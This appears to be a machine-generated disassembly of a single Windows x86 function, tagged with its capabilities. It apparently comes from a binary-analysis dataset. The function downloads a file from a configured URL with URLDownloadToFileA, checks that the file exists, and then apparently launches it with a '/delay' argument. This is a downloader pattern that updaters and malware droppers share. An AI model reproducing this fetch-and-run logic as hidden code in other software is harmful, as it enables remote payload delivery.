Function at 0x424770
Capabilities:
Check if file exists
Create directory
Delete file
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ff08c
mov eax, dword fs:[0]
push eax
sub esp, 0x22c
mov eax, dword [0x5503c8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x1d1]
call fcn.004050d0
mov eax, dword [0x5522f0]
test eax, eax
jne 0x4247f8
push 0x1b4
call fcn.004cf87e
mov esi, eax
add esp, 4
mov dword [ebp - 0x1d8], esi
mov dword [ebp - 4], 0
test esi, esi
je 0x4247ea
push 0x1b4
push 0
push esi
call fcn.004d1960
add esp, 0xc
mov ecx, esi
call fcn.0041af80
jmp 0x4247ec
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov dword [0x5522f0], eax
lea ecx, [ebp - 0x174]
push ecx
mov ecx, eax
call fcn.0041bd70
mov eax, dword [0x5522f0]
mov dword [ebp - 4], 1
test eax, eax
jne 0x424857
push 0x1b4
call fcn.004cf87e
mov esi, eax
add esp, 4
mov dword [ebp - 0x1d8], esi
mov byte [ebp - 4], 2
test esi, esi
je 0x42484c
push 0x1b4
push 0
push esi
call fcn.004d1960
add esp, 0xc
mov ecx, esi
call fcn.0041af80
jmp 0x42484e
xor eax, eax
mov byte [ebp - 4], 1
mov dword [0x5522f0], eax
lea ecx, [ebp - 0x1d0]
push ecx
mov ecx, eax
call fcn.0041bbe0
cmp dword [ebp - 0x178], 0
mov byte [ebp - 4], 3
je 0x424b59
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x1d8], eax
lea ecx, [ebp - 0x20c]
lea eax, [ebp - 0x174]
push eax
call fcn.00402690
lea eax, [ebp - 0x15c]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x1f4]
call fcn.00402690
mov esi, dword [ebp - 0x1b8]
mov edi, dword [ebp - 0x1b4]
mov byte [ebp - 4], 3
cmp esi, edi
je 0x4248fc
nop
cmp dword [ebp - 0x1e0], 0x10
lea eax, [ebp - 0x1f4]
mov ecx, esi
cmovae eax, dword [ebp - 0x1f4]
cmp dword [esi + 0x14], 0x10
jb 0x4248de
mov ecx, dword [esi]
push dword [ebp - 0x1e4]
push eax
push dword [esi + 0x10]
push ecx
call fcn.004040e0
add esp, 0x10
test al, al
jne 0x4248fc
add esi, 0x18
cmp esi, edi
jne 0x4248c0
lea ecx, [ebp - 0x20c]
call fcn.0041b980
cmp esi, dword [ebp - 0x1b4]
jne 0x424b59
lea eax, [ebp - 0x238]
push eax
call fcn.00405f10
mov ecx, eax
call fcn.0041bbe0
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 5
jb 0x424932
mov eax, dword [eax]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov edx, eax
mov dword [ebp - 0x134], 0
mov ecx, edx
mov dword [ebp - 0x130], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x144], xmm0
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x424960
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x144]
call fcn.00404160
lea ecx, [ebp - 0x238]
mov byte [ebp - 4], 7
call fcn.0041b510
lea eax, [ebp - 0x12c]
push eax
call fcn.00405f10
mov ecx, eax
call fcn.0041bea0
cmp dword [ebp - 0x130], 0x10
lea eax, [ebp - 0x144]
push dword [ebp - 0x134]
cmovae eax, dword [ebp - 0x144]
lea ecx, [ebp - 0x12c]
push eax
mov byte [ebp - 4], 8
call fcn.00402540
lea eax, [ebp - 0x1f4]
push eax
call fcn.00405f10
mov ecx, eax
call fcn.0041bea0
cmp dword [eax + 0x14], 0x10
jb 0x4249dd
mov eax, dword [eax]
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
push eax
call edi
lea ecx, [ebp - 0x1f4]
mov esi, eax
call fcn.00403630
test esi, esi
jne 0x424a28
lea eax, [ebp - 0x1f4]
push eax
call fcn.00405f10
mov ecx, eax
call fcn.0041bea0
cmp dword [eax + 0x14], 0x10
jb 0x424a12
mov eax, dword [eax]
push 0
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExA]
lea ecx, [ebp - 0x1f4]
call fcn.00403630
cmp dword [ebp - 0x118], 0x10
lea eax, [ebp - 0x12c]
cmovae eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x238]
push eax
call fcn.00405f10
mov ecx, eax
call fcn.0041bbe0
cmp dword [ebp - 0x118], 0x10
lea ecx, [ebp - 0x12c]
cmovae ecx, dword [ebp - 0x12c]
cmp dword [eax + 0x14], 0x10
jb 0x424a72
mov eax, dword [eax]
push 0
push 0
push ecx
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
jne 0x424aa5
cmp dword [ebp - 0x118], 0x10
lea eax, [ebp - 0x12c]
cmovae eax, dword [ebp - 0x12c]
push eax
call edi
mov byte [ebp - 0x1d1], 1
test eax, eax
jne 0x424aac
mov byte [ebp - 0x1d1], 0
lea ecx, [ebp - 0x238]
call fcn.0041b510
cmp byte [ebp - 0x1d1], 0
je 0x424b43
push 0x104
lea eax, [ebp - 0x114]
push 0
push eax
call fcn.004d1960
push dword [ebp - 0x17c]
lea eax, [ebp - 0x114]
push str._delay_d
push eax
call fcn.00404200
add esp, 0x18
lea eax, [ebp - 0x1f4]
push eax
call fcn.00405f10
mov ecx, eax
call fcn.0041bea0
cmp dword [ebp - 0x130], 0x10
lea ecx, [ebp - 0x144]
mov byte [ebp - 4], 9
cmovae ecx, dword [ebp - 0x144]
cmp dword [eax + 0x14], 0x10
jb 0x424b24
mov eax, dword [eax]
lea edx, [ebp - 0x114]
push edx
push ecx
push eax
lea ecx, [ebp - 0x1d9]
call fcn.00405c60
lea ecx, [ebp - 0x1f4]
call fcn.00403630
lea ecx, [ebp - 0x12c]
call fcn.00403630
lea ecx, [ebp - 0x144]
call fcn.00403630
lea ecx, [ebp - 0x1d0]
call fcn.0041b510
lea ecx, [ebp - 0x174]
call fcn.0041b980
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004cf8bc
mov esp, ebp
pop ebp
ret